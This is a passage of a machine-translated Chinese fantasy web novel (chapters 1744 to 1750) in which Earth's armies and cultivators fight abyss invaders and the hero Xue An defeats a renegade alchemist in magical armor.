    The cold mechanical female voice echoed in the air.


    Everyone''s complexion became extremely tense.


    Many powerhouses who were resting even jumped up and immediately prepared for battle.


    at the same time.


    In the headquarters not far from the underground fortress, many high-ranking generals of the human army looked at the screen on the battlefield monitor with solemn face.


    I saw some space in the sky slowly melting like butter.


    Everyone''s hearts couldn''t help mentioning their throats.


    Suddenly, a slender hand stretched out from it.


    At this moment, the indicator light representing the enemy''s strength level directly exploded.


    The General Zhen Guo, who had been standing in front of the podium, didn''t even hesitate, and directly pressed the red launch button.


    boom!


    All the special missiles arranged within a radius of thousands of miles immediately lifted into the air, and then went straight in this direction under the guidance of the radar.


    With today''s missile technology, a thousand miles away will come in an instant.


    So just in the blink of an eye, successive explosions flooded the entire surveillance screen.


    Although it was far away, the huge blast wave still shook the semi-underground headquarters.


    All the generals in the headquarters opened their eyes wide.


    how about it?


    Has the enemy been destroyed?


    Including the many powerful men who are ready for all battles, they can''t help but look up.


    And the power of this explosion also caused many viewers who were watching the live broadcast to cheer.


    Because in their opinion, no creature can survive such a violent explosion.


    Alchemy creatures won''t work.


    But Zhuge Zang''s complexion gradually became solemn, and he muttered to himself: "Such a powerful aura, is it..."


    Before the words fell, the light and shadow of the explosion suddenly solidified, and even the violent shock wave stopped.


    Then a burst of laughter like silver bells spread throughout the battlefield.


    "I didn''t expect you ants to have such interesting toys. No wonder you can survive until now!"


    With the voice, a charming and charming woman walked out of the solidified explosion light and shadow.


    When she appeared in front of everyone, all the explosion light and shadow instantly converged, and disappeared without a trace in an instant.


    The sky is clean as if nothing had happened.


    In contrast, all missiles and defense facilities within a radius of thousands of miles were detonated instantly.


    Countless soldiers didn''t even react, they were bombarded with violent shock waves.


    Naturally, on the battlefield was not spared.


    Those anti-alchemy mines just laid out exploded at the same time, and the huge power made the earth tremble.


    Everyone''s eyes widened in horror.


    Because this woman''s ability has exceeded the scope of ordinary people''s understanding.


    From the beginning to the end, she didn''t see any actions, but she destroyed all the defensive words laid out by humans.


    This feeling is simply too desperate.


    at the same time.


    This woman looked down at the many powerful men on the battlefield, and a sarcastic smile appeared on her coquettish face.


    "What? Are you still planning to resist?"


    As soon as the voice fell Zhou Daniu roared, and then flew up, trying to fight this woman hard.


    The woman smiled coldly, "Ant!"


    With that, she said with a finger, a huge coercion fell from the sky, and went straight to Zhou Daniu.


    Zhou Daniu encouraged all his cultivation, his muscles tightened like a steel wire, and a bright golden light was emitted, and then he went straight up.


    boom!


    Zhou Daniu abruptly collided with the woman''s blow.


    The shock wave aroused spread dozens of miles away.


    Zhou Daniu''s figure froze for a while in the air, but then a loud noise of muscle cracking came from his body.


    Despite Zhou Daniu''s unusual talent, his body is tempered like a piece of steel.


    But the force of this woman''s casual blow was too great.


    To the point where he simply couldn''t bear it.

 Chapter 1745： The masters of Jingdao come one after another

    Just when Zhou Daniu''s eyes showed pain, he was about to be defeated by this coercion.


    A virtual image of Gen Gua suddenly appeared in front of Zhou Daniu.


    You must know that Gen Gua is a mountain, so when the virtual image emerges, it instantly transforms into a towering and immovable mountain, which steadily blocks the pressure of this finger.


    The woman''s complexion changed, "There is actually a master of the Taoist path?"


    Before the words fell, only a light sigh came, and then Zhuge Zang appeared in the sky.


    "Da Niu, you step back!"


    Zhou Daniu''s face flushed and he had obviously suffered internal injuries.


    His lips moved, and he wanted to say something, but seeing Zhuge Zang''s serious expression, he finally retreated obediently.


    At this moment, the woman narrowed her eyes, staring at Zhuge Zang coldly, and said in a cold voice: "Who are you? Why do we intervene in our abyss?"


    Zhuge Zang stroked his beard and smiled, with a hint of sarcasm in his smile, "What about your abyss? What a joke, your abyss evil **** has already hit the earth, is this also about your abyss?"


    "Of course!" the woman said proudly, and then said gently: "Old man, I can see that you are not a person on earth, so if you leave now, I will never stop! What do you think?"


    "Oh? What if I don''t?" Zhuge Zang said coldly.


    The woman covered her mouth with her hand and let out a silver bell-like laugh.


    It''s just that the laughter is so creepy in people''s ears.


    "Old man, I respect you as a master of the ruin road, so I give you a face, don''t think I am afraid of you! After all..."


    A cold light flashed in the woman''s eyes, "You are the fairy king, so am I!"


    When she said this, a huge coercion rose from the top of the woman''s head, rushing into the sky, and transformed into various visions.


    "The evil **** powerhouse of the immortal king class! God, have you really abandoned your people?" A blond general in the command center whispered with an extremely ugly expression.


    The Chinese general on the side sneered when he heard the words, "Do you know? And even if your God is here, you must surrender!"


    Facing this soaring power, Zhuge Zang''s complexion gradually became more solemn, then he took a deep breath, and suddenly opened his eyes.


    In an instant, in his eyes, a series of mysterious symbols of heavenly secrets kept deducing, making a pillar of light soaring above his head, and forming a court of resistance with this woman.


    "The abyss and the earth do not infringe on the river water. Why do you group of evil gods have to fight each other bitterly? Isn''t it good for you to step back?" Zhuge Zang said in a deep voice.


    There was a sneer on the woman''s face, "Each one step back? It''s just a group of ants, what qualifications do you have to negotiate with me! And since you refuse to retreat, then die here too!"


    After all, the woman patted her palm without hesitation.


    Zhuge Zang snorted coldly, and he was irritated at the moment, who had always been good-tempered, so he greeted him directly.


    His fighting mode is different. He dodges almost all the attacks of women like an unknown prophet, and then slaps the phantom shadow of the hexagram at the right time.


    This also led to the fact that although this woman was stronger than Zhuge Zang, she was entangled in it by Zhuge Zang and she didn''t have to survive.


    Seeing this scene, everyone who was worried about Zhuge Zang couldn''t help but secretly relieved.


    "I didn''t say, Dao Ye is Niu X!" Zou Sui said excitedly.


    But at this moment, the woman suddenly sneered.


    "Do you think you can save the earth by entanglement? You are too naive!"


    As he said, the woman suddenly shouted, "Isn''t it there yet?"


    With the voice, but seeing the violent disturbance of the sky gate at that time, immediately, countless mechanical evil soldiers rushed out of it.


    In an instant, the whole audience was shocked.


    "Quick! Stop these mechanical monsters, otherwise the earth is in danger!" Tang Xuan''er shouted.


    Everyone woke up like a dream, and immediately rushed up desperately.


    Zhang Xiaoyu screamed and rushed forward, but Hu Ying, who was also on the earth, grabbed the back of his neck.


    "Go away, you will die if you have this strength!" Hu Ying yelled, and then the fox demon body appeared and joined the battle group.


    The battle instantly turned white-hot.


    At this time, all the strong on the earth have already given up, because they know that they are now irresistible, because behind them is their home.


    General Zhen Guo saw tears in his eyes, and immediately asked the staff officer behind him, "How many troops do we have now?"


    "A total of..."


    "Needless to say, send them all!"


    With that, the town general turned around and walked out.


    "General, where are you going?"


    "On the battlefield!"


    "How can this be, you are the commander..." Everyone was shocked and discouraged.


    General Zhen Guo glanced at everyone, and then whispered: "Do you think that if we lose this time, does the earth still need command?"


    Everyone was silent.


    General Zhen Guo looked affectionately at the fierce battle on the monitor, "The soldiers in front are giving up their lives, what right do I have to hide behind and live forever?"


    Speaking of this, General Zhen Guo suddenly pulled out his saber around his waist, and a bright light suddenly appeared in his eyes in the crisp sound of the sword.


    "General Hua Guo!"


    All the Chinese generals stepped forward together and shouted: "Subordinates are here!"


    "Follow me on the battlefield, sword slaying demons!"


    "Here!"


    All the Chinese generals promised, and then tore off the cloak from their bodies, and walked out with the town generals.


    Seeing such a scene, the generals of the other countries in the headquarters looked at each other.


    Then the generals of Country E took the lead to walk out.


    "Country E has never been a captured general!"


    One of the generals even nonchalantly took out a bottle of vodka, took a few sips, and then wiped his mouth, "Ula, go!"


    Then he walked out after Hua Guo.


    A moment later, the general of Country M also silently took out his handgun, "May God bless M sharp sword!"


    The entry of the human army completely changed the situation on the battlefield.


    Because these low-level soldiers are purely fighting against these mechanical evil soldiers with flesh and blood.


    In just one charge, countless soldiers blew themselves into the evil camp with mines in their hands.


    This tragic and tragic scene silenced the powerhouses present and the global audience who watched the scene through live broadcast.


    Some people even cried out directly But at this moment, a sneerful sound came from the empty passage.


    "Tsk tusk, what a moving spirit! But even my little soldiers can''t deal with it. What qualifications do you have to occupy such a treasure?"


    Following the voice, a well-dressed man with meticulously combed hair and golden glasses came out of the gate of time and space.


    When he appeared, the mechanical evil soldiers in the audience immediately became excited as if they had seen their own king.


    In the crowd, Xiao Rui, who was originally taciturn, was shocked after seeing the man, and then there was infinite panic and pain in her eyes.


    Seeing this scene, Zou Sui, who has been secretly following her, hurriedly asked: "Miss Xiao Rui, what''s wrong with you?"


    At the same time, the man with golden glasses cast his gaze on Xiaorui, who was pale, and then became excited as if he had discovered a new world.


    "Experiment No. 1, I didn''t expect you to be here!"

 Chapter 1746： The Battle of Humanity

    Everyone looked sideways, and Xiao Rui shivered more and more.


    Zou Sui''s expression sank, and he stepped forward to block Xiao Rui behind him.


    "Don''t be afraid, I am here!" Zou Sui comforted him without looking back, and then shouted loudly.


    "He Fang, the demon, dare to make times here, and don''t go back!"


    The man in gold glasses grinned.


    When he laughed, the previous elegance disappeared in an instant, replaced by a kind of extreme madness and cruelty.


    "Who am I? Haha! I am the creator of all mechanical creatures, an all-knowing and almighty alchemist, including her who is behind you at this moment, all of my creation!"


    Zou Sui''s complexion changed drastically, "So you **** who made Xiao Rui look like a ghost?"


    The man with golden silk glasses smiled happily, "Asshole? I like this adjective very much! But you said she is not a ghost or a ghost, I am very angry! Because... she is my favorite work! Isn''t it? Mine child!"


    The man with golden silk glasses looked at Xiao Rui, "Remember those years in the laboratory? Every day I am transforming your weak body, dividing your weak soul, making you a little stronger! At that time You cry every day and beg me for mercy. It��s still exciting to think about it now..."


    The man with golden silk glasses talked eloquently, but Xiao Rui shivered more and more, then almost collapsed holding his head and let out a beast-like growl.


    "Asshole!" Zou Sui was furious, he had never seen someone as shameless as this man with eyes.


    She actually did so many cruel things to Xiao Rui, no wonder she was so taciturn.


    Because no matter who it is, after experiencing that kind of hell, it is already strong enough to not collapse.


    This person must be killed!


    Thinking of this, Guanghua flashed in Zou Sui''s eyes, and then he entered a sneaky state, and began to quietly approach the man with golden glasses.


    As the only person specializing in stealth ambush in the Fire Phoenix Special Forces, he is also known as the Fire Phoenix First Assassin.


    Now, in order to kill this weird alchemy madman, he used his stealth technique to the fullest, without even alarming the mechanical evil soldiers guarding by the side, and cautiously came behind the man with golden glasses.


    This is it!


    Zou Sui slowly stopped his figure, quietly took out a special black dagger, and then slammed into the back of the man with golden glasses without causing any waves.


    Near!


    Closer!


    Seeing that the dagger had pierced the clothes and was about to be inserted into the back, Zou Sui''s eyes couldn''t help flashing a flash of joy.


    But at this moment, a layer of armor like water suddenly spread on the back of the man with glasses.


    Ding!


    After a crisp sound, Zou Sui felt as if the dagger had pierced the metal, and his wrists were tingling.


    It''s not good, it won!


    This thought flashed through Zou Sui''s mind for the first time, and then he began to back away sharply.


    But everything is too late.


    Just listen to the man with eyes grinning and said, "Do you dare to assassinate me even with this strength?"


    As he spoke, he saw the armor on his back spread over his arms, wrapping it up.


    Then he turned around and punched Zou Sui who was retreating rapidly.


    Bang!


    This punch exploded the air, and the huge pressure spanned the distance in an instant, and then it was firmly printed on Zou Sui''s chest.


    puff!


    Zou Sui opened his mouth and spit out a big mouthful of blood, and then flew into the camp of the mechanical evil soldier like a kite with a broken line.


    This would fall into the hands of these evil soldiers, and Zou Sui had to be torn to pieces at that time.


    The members of the Fire Phoenix Special Forces in the distance all saw this scene and screamed.


    "Old Zou!"


    "Broken mouth!"


    But helpless, they couldn''t come over in time when they were under the siege of evil soldiers.


    Zhou Daniu, who has the best relationship with Zou Sui, has blood red eyes, "Zou Sui!"


    Then madly bombarded the evil mechanical soldiers in front of him, trying to break a **** path to rescue Zou Sui.


    But all to no avail.


    Zou Sui closed his eyes resignedly.


    See you in the next life, Daniel!


    But at this moment, he suddenly smelled a faint fragrance, and then he felt that his downward movement stopped.


    Zou Sui suddenly opened his eyes, and what caught his eyes was a pale little face.


    "Xiao...Xiao Rui?" Zou Sui said in astonishment.


    The man with golden glasses raised his eyebrows when he saw it, then he held his arms and looked at it with interest, without even chasing after him.


    Xiao Rui remained silent, shaking her arm abruptly, and threw Zou Sui at Zhou Daniu and others.


    Zhou Daniu jumped up and finally caught him without incident.


    "Interesting, really interesting!" The man with golden glasses clapped his applause with a smile, "I didn''t expect you to have your own consciousness and emotion after losing half of your soul. This is really beyond my expectations!"


    Xiao Rui didn''t say a word, looking at the man with golden glasses with cold eyes.


    But the man with golden silk glasses became more and more excited, "You really are the best experiment I have ever encountered. The pain that is enough to make the strong collapse can not make you crazy, how tough is your soul?"


    "But all of this will have an answer soon! Because..." The man with golden glasses rubbed his palms excitedly.


    "I also brought a precious collection!"


    As he said, he snapped his fingers lightly.


    In an instant, an extremely cold aura surged from the gate of time and space.


    Wherever they went, the mechanical evil soldiers who had attacked wildly immediately knelt to the ground, and even started to tremble.


    Then, a petite figure slowly walked out of it.


    When she appeared in front of everyone, including Fan Mengxue, everyone who knew Xiao Rui couldn''t help exclaiming.


    Because it was another Xiao Rui who appeared in front of everyone at this moment.


    Regardless of her facial features or figure, she is exactly the same as Xiao Rui.


    When they stand together it is almost like looking in a mirror.


    But one thing is different, that is, compared to Xiao Rui, this new person has a colder breath on his body and even more apathy in his eyes.


    To put it bluntly, Xiao Rui may still have a trace of humanity, and this person is like a machine, without a trace of human emotion.


    This kind of strong contrast formed a sharp contrast, which made the excited face of the man with gold glasses light up.


    "The first test body, this is the second test body I made with the other half of your soul. Now that the two of you have finally met, is it the humanity you are stronger? Or is she who is deprived of all emotions? Yeah!"


    "Now, please prove it to me!"


    As he said, the man with golden glasses pointed at Xiao Rui, "Kill her! Then devour her soul!"


    No. 2 Xiaorui''s body shape began to change in an instant, and in a blink of an eye, her arm turned into a terrifying blade.


    Then she flashed around and came straight to Xiao Rui.

 Chapter 1747： Brutal War 1

    Bang!


    Xiao Rui''s body smashed down obliquely, and after shattering a dozen mechanical evil soldiers, she could not stop her footsteps.


    Looking at her at this time, there were all kinds of scars all over her body, and even a huge wound across that pale face was slashed diagonally. If she was hiding more slowly, her head would have to be cut in half.


    Despite this, Xiao Rui still stood there panting, cold light flashing in her eyes, without the slightest flinching color.


    The color of excitement in the eyes of the man with gold glasses is getting stronger and stronger.


    "What an interesting soul! After suffering such a serious injury, you still refuse to shrink. What are you protecting?"


    Speaking of this, he suddenly remembered something, looked around, then laughed.


    "I see, do you want to protect these people?"


    Xiao Rui did not speak.


    At the same time, No. 2 Xiaorui attacked again.


    Xiao Rui dodged her body, avoided her hand knife, and then deceived her, kicking between the chest and abdomen of Subject 2.


    The two battled to one place again, but it can be seen that the second experiment body outperforms Xiao Rui by a bit in terms of reaction speed and shooting power.


    Despite this, Xiao Rui refused to retreat one step, and even preferred to fight her own injury to madly block the second subject.


    The man with golden silk glasses showed a faint smile, "It''s really a strong will to fight! But this world doesn''t mean that whoever has a stronger will can win, everything in the end depends on strength!"


    "And don''t you want to protect these people? Then I will tell you how stupid your guardian is! Because... these people have to die today!"


    As he said, the man with golden glasses suddenly waved his arms madly, and then uttered an obscure and extremely evil curse.


    In an instant, a wave of tyrannical waves descended from the space-time channel, and then the figure inside appeared.


    It was a huge mechanical puppet.


    It''s just that these puppets are different from those used by Liu Ruyan and the others, not to mention their larger body. The pair of red eyes and the armor covered with mottled blood all tell people how terrifying these puppets are.


    "Destroy everything you have seen!" The man with golden glasses roared excitedly.


    Click!


    The eyes of these mechanical puppets were full of red light, and then they rushed to everyone at an extremely fast speed.


    Upon seeing this, Liu Ruyan yelled, "Attention all, stop these evil puppets!"


    With an order, everyone in the puppet master gate urged their puppets to greet them.


    boom!


    In just one face, several puppets were torn apart.


    Liu Ruyan''s face was pale, and she fully controlled her puppets to flicker in the cracks, and counterattacked from time to time, trying to block the footsteps of these evil puppets.


    But the gap in strength is too big.


    It is too big to be compensated by technology.


    I saw two evil puppets grabbing the two arms of Liu Ruyan''s puppet within a short period of time, and slammed hard.


    Click!


    Liu Ruyan''s puppet let out a mournful cry, and then both arms were pulled down.


    Blood oozes from the corner of Liu Ruyan''s mouth.


    Because her spirit has long been bound to her puppet, the puppet is injured, and she is also injured along with it.


    The man with golden silk glasses sneered coldly, "I am embarrassed to call himself a puppet even with such a superficial alchemy power? What a joke! Tear them apart!"


    Give an order.


    The evil puppets swarmed up, and instantly tore the puppets of Liu Ruyan and others to pieces.


    In just a few breaths, Liu Ruyan and others were wiped out.


    Then these evil puppets swarmed up and started bombarding the earth''s defensive formation with the mechanical evil soldiers.


    All of a sudden, the powerhouses of the earth suffered a nearly devastating blow, and under tremendous pressure, the defense formation that had remained unmoving finally appeared flaws.


    These evil puppets are not only extremely powerful, but also have a very high IQ. After seeing the flaws, they immediately swarmed to try to tear the hole completely.


    "Close the gap!" The town general who was desperately killing the enemy hissed and screamed.


    Without waiting for him to finish, the nearest army rushed up.


    But they only persisted for a few seconds before they were torn to pieces by these evil puppets.


    But their sacrifice was not in vain. It was these precious few seconds that gave other troops time to react.


    I saw a group of troops rushed up like a torrent, and was torn apart by these evil puppets.


    But even so, there is still a steady stream of soldiers rushing forward one after another.


    No one was afraid, and some even smiled contemptuously before dying.


    Seeing this scene, the General Zhen Guo''s eyes shed blood and tears.


    Not only him, everyone who witnessed this scene was deeply shocked.


    What kind of spirit is it that can create such an army with a smiling face and calmly going to death?


    Suddenly!


    Someone in the battlefield started choking and singing.


    "Qiyue Wuyi? The same robe with the son. Master Wang Yuxing, repair my spear. Enmity with the son!"


    The sound was not loud, but soon, all Chinese people began to sing along with everything.


    "Qiyue Wuyi? Same with Zi. Master Wang Yuxing, repair my spear. Work with Zi!"


    In the end, its sound spread throughout the battlefield, shaking the sky.


    "Qiyue Wuyi? Same clothes with Zi. Master Wang Yuxing, repair my armor. Walk with Zi!"


    Because the photographer had already died in battle, Chen Xiaoyi, who personally manipulated the live broadcast machine, burst into tears after hearing the singing of his compatriots, and dripped all over his cheeks.


    But soon, she resolutely wiped the teardrops from the corners of her eyes, and then manipulated the machine to broadcast this scene to the whole world through the camera.


    In a moment, the whole world was silent for it.


    Then all the Chinese in front of the TV camera stood up and sang along with the voices in the live broadcast.


    "Qiyue Wuyi? The same robe with the son..."


    The Chinese war hymn resounded throughout the earth.


    The man with golden silk glasses saw his eyelids beating frantically, and then roared furiously: "Tear me up these ants! Don''t leave one!"


    boom!


    The pressure suddenly increased. Although countless people had paid the price of their lives, they could not stop the coercion of these evil alchemists, and they were forced to retreat again and again.


    Zhuge Zang in the high altitude also saw this scene, and couldn''t help but burn all the inside out, so he wanted to make a clone of himself to make a relief.


    But the woman giggled at this moment, "Old guy, your opponent is me, don''t make a mistake!"


    After speaking, he fought Zhuge Zang again, making him no time to be cloned.


    At the same time, but saw an evil puppet standing tall, leaping high, and then hitting the crowd with violent power.


    The people who were struggling to deal with it were no longer able to deal with this blow from the sky at this moment The situation became extremely critical in an instant, and everyone fell into despair.


    But at this critical moment, there was a faint rumbling noise from the sky.


    Everyone was taken aback, then turned around and looked around.


    Seeing that in the extremely far sky, a white light was rushing at an eye-popping speed. Wherever it passed, even the space was ploughed into a deep ravine.


    Just after a while, Bai Guang rushed forward, and then ran into the evil puppet in mid-air.


    Boom!


    After a loud noise, white light came out through the body, and then the puppet exploded and turned into fragments in the sky.


    In the smoke and dust in the sky, Bai Guang stopped his figure and showed his true colors.


    I saw a young man standing proudly, white and black, with cold eyes.


    Who is it if it''s not Xue An!

 Chapter 1748： Betrayed Creator

    After a moment of silence, the audience, and even the world, was boiling over.


    "Mr. Xue is back!"


    "Mr. Xue has finally appeared! The earth is saved!"


    "Hahahaha, I knew that Mr. Xue would definitely return safely!"


    All of a sudden, countless people cheered for joy, and even more excited even tears came out.


    In their minds, Xue An has long been a symbol of invincibility and a synonym for invincibility.


    After seeing this scene, many powerhouses on the battlefield couldn''t help but breathe.


    Before he knew it, Xue An had become the backbone of everyone, and existed like a needle in the sea.


    It seems that as long as he is there, no matter how strong the enemy is or how serious the problem is, it will be solved perfectly.


    Among the crowd, only a few people, including Tang Xuan''er, Fan Mengxue and Hu Ying, discovered something unusual about Xue An.


    Especially for Hu Ying, after she was startled slightly, a deep worrisome color appeared in her eyes.


    "Brother Xue, what''s wrong with you...?"


    At the same time, a black shadow flashed past, and Tianzhuna also rushed to the court.


    The woman who was fighting Zhuge Zang suddenly backed away when she saw this, and then said with a look of astonishment, "Tianzhana? Why are you here?"


    Tianzhe smiled coldly, "Why can''t I be here?"


    The woman''s complexion changed, "Impossible, you are sealed by my blood father, how can you escape?"


    Tianzhe sneered, "Evil God Jiyu, don''t you understand now? Since I''m here, it means I''m out of trouble!"


    This woman is the descendant of the Lord of the Abyss, and also the top evil **** Jiyu in the Abyss.


    After hearing what Tianzhuna said, Ji Yu''s eyes flickered, and the aura around him fluctuated even more, not knowing what he was thinking.


    Xue An ignored her. Instead, he turned his attention to Xiaorui, who was still fighting. After a while, he slowly raised his head and looked at the man with golden glasses.


    "You did this?" Xue An said lightly.


    Somehow, when faced with the question of the white-clothed boy, the man with gold glasses felt a chill for no reason, and took a half step back subconsciously, and then said coldly: "So what? Who are you? "


    Xue An looked calm and ignored his questioning. Instead, he continued to say in a calm tone: "You want to create alchemy life and play with your soul, don''t you know that your behavior has violated the alchemy rules?"


    "Alchemy guidelines? Hahahaha, that''s just a stupid agreement made by a group of fools to bind their hands and feet. I am an all-knowing and almighty master alchemist. How can I follow this ridiculous agreement!" The man with golden glasses laughed.


    Xue An nodded, "That''s it!"


    "Boy, you can know the alchemy rules. Obviously you are not an ordinary person. Who are you?"


    Xue An smiled, "It doesn''t matter who I am, but suddenly I want to understand one thing!"


    "what''s up?"


    "There is no reverence for the rules. No wonder people like you will betray the alchemy civilization and kill Wan Han and others who are also the creators of the gods!"


    This sentence was like a shock, making the man with golden glasses struck by lightning, and his complexion changed drastically.


    "Who are you? How do you know this?"


    That''s right!


    This man with golden glasses was one of the three great creators of the previous alchemy civilization, that is, he betrayed the alchemy guidelines, killed Wan Han and others, and eventually led to the complete destruction of that alchemical civilization.


    But he didn''t expect that he actually ran into the abyss and took refuge in the Lord of the abyss.


    And the status is still very high.


    When he was in the ghost world before, the purpose of Wei Li''s offering to Xiao Rui was to please him.


    At this point, the truth finally emerged.


    When faced with the man with golden glasses, Xue An smiled faintly, "Who am I? I am the one who killed you!"


    When the words fell, Xue Anye had appeared before the man with golden silk glasses, and then raised his fist and blasted out.


    The man with golden silk glasses didn''t have the slightest fear, instead he grinned and said, "Want to kill me? It''s not that easy!"


    Following the voice, on the man with gold glasses, the armor spread like water, and immediately wrapped him tightly.


    At this time, Xue An''s fist had already blasted to the front.


    Boom!


    After a dull sound.


    Xue An was shocked and took a few steps back.


    But this man with golden glasses just shook his shoulder.


    Seeing this scene, the audience was shocked.


    No one thought it was Xue An who was at the disadvantage.


    At the same time, the man with golden glasses laughed triumphantly.


    "It''s useless, I have armor protection, you can''t beat me! Believe it or not, even if I stand still, you can''t touch me!"


    "Oh? What if I don''t believe it?" Xue An raised his eyebrows slightly.


    "Hehe, then you can try now!" The man with gold glasses smiled wildly, obviously he was full of confidence in the armor on his body.


    Xue An smiled and took a deep breath, "Okay!"


    After saying this, Xue An''s eyes suddenly became as black as ink, and then appeared in front of the man with golden glasses at an extremely fast speed, raising his hand with a punch.


    The power of this punch is much stronger than just now.


    Even many people feel that the world seems to be crushed by this punch at this moment.


    The man with golden glasses hadn''t even reacted, and the punch was firmly printed on his chest.


    Click!


    After a burst of explosions, the man with golden glasses looked like he was hit by a cannonball and flew out directly. When he was in the air, his armor flashed crazily and was obviously shaken.


    But this armor was obviously very strange. Before the man with golden glasses could land, the armor suddenly burst into light, and then he stood firmly in the air.


    After Guanghua dissipated, the man with golden glasses looked like he had changed.


    The whole body is covered by streamlined armor, but behind it are two slightly strange-looking wings. Look at the head again.


    A fiery red helmet envelops the face, and above the helmet is a crown of flames.


    The whole person looked like a phoenix full of fighting spirit.


    The audience fell silent.


    The voice of the man with golden silk glasses came out of the helmet, "Boy, you can actually force me to inspire the complete form of this armor, which is quite proud! But you still have to die! Because I who have armor, yes unrivaled!"


    After all The man with golden glasses flashed his body, and the whole person turned into a red light, and went straight to Xue An.


    Unexpectedly, Xue An was not surprised and rejoiced, his eyes full of excitement of seeing novel toys.


    "Chicken-shaped armor?"


    With that, he dodged slightly and avoided the head-on blow.


    But the man with golden glasses did not stop, and the subsequent attacks poured down like a storm.


    "Boy, go to hell!"


    Xue An dodged a few times, and then smiled coldly, "It''s as if you have armor!"


    When the words fell, Xue An''s eyes flashed Guanghua, touching something in the divine mind space.


    Immediately afterwards, a sound of mechanical gears reverberated in the sky.


    In an instant, Dao Guanghua combined to cover Xue An''s body.


    After the brilliance dissipated, Xue An was enveloped in a piece of armor that was extremely exquisite and at the same time contained infinite power.

 Chapter 1749： Monstrous hatred

    The man with gold glasses looks silly.


    Not only him, but even this evil **** Ji Yu is also dumbfounded.


    She had just been stuck in Tianzhuna''s words and couldn''t help herself.


    But in any case, she didn''t believe that her blood father would have an accident.


    Because his own blood father is a quasi-immortal emperor!


    Coupled with the blessing of that heaven-defying treasure, even if the immortal emperor comes to him, it is estimated that he can''t be helped.


    So she calmed down quickly, thinking that Tianzhe must have been able to escape from birth for other reasons.


    After that, her attention was attracted by the battle between Xue An and the man with golden glasses.


    She knows the strength of a man with golden glasses!


    Individual strength may not be very good, but once the magical armor is blessed, strength will be increased hundreds of times.


    So in her opinion, this young man in white will definitely lose.


    After all, she could tell at a glance with her strength that this young man in white was seriously injured.


    In fact, Ji Yu was already very surprised that he could survive until now.


    Unexpectedly, Xue An also had a suit of armor.


    And it seems that this armor is stronger than the man with gold glasses.


    This made her squint slightly.


    Although this boy has never seen him before, why does he always feel so familiar?


    Especially the certain breath in him, where did he seem to have encountered it!


    At this moment, Xue An, wearing the armor, took a step, and his whole body instantly rushed to the man with golden glasses.


    "Sorry, I want this armor set on you!"


    With that, Xue An pointed out.


    The man with golden glasses screamed and turned to run.


    But it was only then that he was horrified to realize that he could no longer move.


    Because under Xue An''s coercion, the armor on the man with golden glasses looked like he had seen a king''s courtier, and he didn''t even dare to move.


    It was like a prison, trapping the man with golden glasses in place.


    Click!


    Xue Anyi pointed on the eyebrows of the man with golden glasses.


    Wow!


    The armor on the man with gold glasses rippled like water, and then frantically gathered around the eyebrows, spread along Xue An''s fingers, and merged with it.


    In an instant, the armor on the man with gold glasses disappeared.


    But the armor on Xue An began to change its form crazy.


    Only then did the man with gold glasses wake up, and then shouted in horror: "You... how come you have so many ancient armor?"


    "Many?" Xue An smiled, "It''s only ten pieces, and it''s only two to complete it. How can this be called?"


    The heart of the man with golden glasses gradually sank to the bottom.


    He took great pains to get such an ancient armor and relied on it to show off his might.


    I never expected that the end result would be a wedding dress for others.


    The key is that the opponent can gather a complete set of ancient armor with just two.


    He couldn''t even imagine what it would become by then.


    But soon, he thought of something, and then roared bitterly.


    "It''s the armor that the **** Wan Han gave you, right?"


    Xue An was silent.


    The man with golden glasses laughed wildly, his laughter was full of hatred.


    "I knew it was that bitch. I asked her to give me all the armor, but she refused. I didn''t expect that she would give you all these treasures! I refused..."


    "So you betrayed your own civilization, and relied on your alchemy power to slaughter?"


    At this time, the armor had been deformed, and it became more beautiful and delicate than before.


    "That''s right! They refused to give me what I wanted, and they said that they should use the power of alchemy carefully. Can I go to him! Why can''t I use the abilities that I have cultivated? They are all fools, utter fools. !"


    The man with golden silk glasses has fallen into a kind of hysterical rage.


    Even with those evil puppets, mechanical evil soldiers, etc., they stagnate.


    Naturally, everyone would not let this opportunity go, and immediately began to harvest it frantically.


    In the blink of an eye, these alchemy evil things were destroyed.


    The body of the man with gold glasses began to show a hideous state.


    A metallic blue-gray gradually appeared on his cheeks, and it began to spread rapidly.


    "Alchemy is out of order! He''s crazy!" Liu Keke cried out in shock.


    In the world of alchemy, if there are alchemists who do not follow the rules recklessly, they will suffer backlash from the power of alchemy.


    It''s okay if there is a way to suppress it. Once the suppression is lost, it will fall into complete disorder.


    This also means that he will come to an end.


    "Ah ah ah ah, I want to kill all of you!" The man with golden silk glasses couldn''t bear such a huge pain, he screamed.


    Xue An just looked at him quietly, suddenly lowered his head and pointed at him casually.


    Xiaorui, who was still fighting non-stop, was immediately anchored.


    Xiao Rui immediately fell to her knees, breathing heavily.


    At this time, Xue An grabbed the frantically struggling man with golden glasses and threw it directly on the ground.


    "Xiao Rui, he left it to you!"


    Xiao Rui was startled, but when she saw that it was a man with golden glasses, her eyes showed infinite ferocity.


    Although it was on the verge of collapse, when faced with Xiao Rui''s terrifying eyes.


    The man with golden glasses still made a scream.


    "Ji Yu, what are you waiting for? Come and save me!"


    But before the words fell, Xiao Rui had already bitten on his neck.


    puff!


    This bite bit extremely hard, even though most of his body has been transformed into a semi-metal state by the out-of-control alchemy power, Xiaorui''s mouth is so good that he still tore off a large piece of flesh.


    The man with golden silk glasses trembled violently with pain, and finally showed fear in his eyes.


    Because he saw himself in Xiao Rui''s eyes.


    Once upon a time, like her, she looked at Xiao Rui with this look.


    It''s just that now the situation has reversed, and it is his turn to become the victim.


    This fear made him almost collapsed, and he cursed frantically: "Ji Yu, you bastard, when are you going to watch the fun?"


    But he was wronged by Ji Yu.


    Because at this moment, Ji Yu didn''t want to save him, but couldn''t do it.


    Xue An, wearing armor, stood not far in front of her and smiled at her.


    "Are you the blood of the Lord of the Abyss?"


    "Yes!" Ji Yu trembled slightly in his heart, but still said coldly.


    Xue An nodded, suddenly narrowed his eyes, and asked in a cold voice, "You also placed the seal on Yan''er!"


    seal?


    Suddenly, Ji Yu was shocked when he thought of something.


    She finally remembered where the familiar aura she had just felt from Xue An came from!


    At the beginning, he was ordered by the blood father, holding a seal, depleting the blood of the immortal king, and forcibly descended on the earth, and then imposed the seal on a mortal woman.


    Although I don''t know why the blood father had to deal with a mortal woman so exhaustingly, Ji Yu still did.


    The breath of that woman was also remembered by Ji Yu.


    The breath that I just felt from Xue An was from that woman.

 Chapter 1750： Shocked the world

    "How is it? Do you remember it?" Xue An asked coldly.


    Ji Yu''s complexion changed, and immediately sneered, "Yes, how about me?"


    Xue An nodded, "Very well, as long as you admit it!"


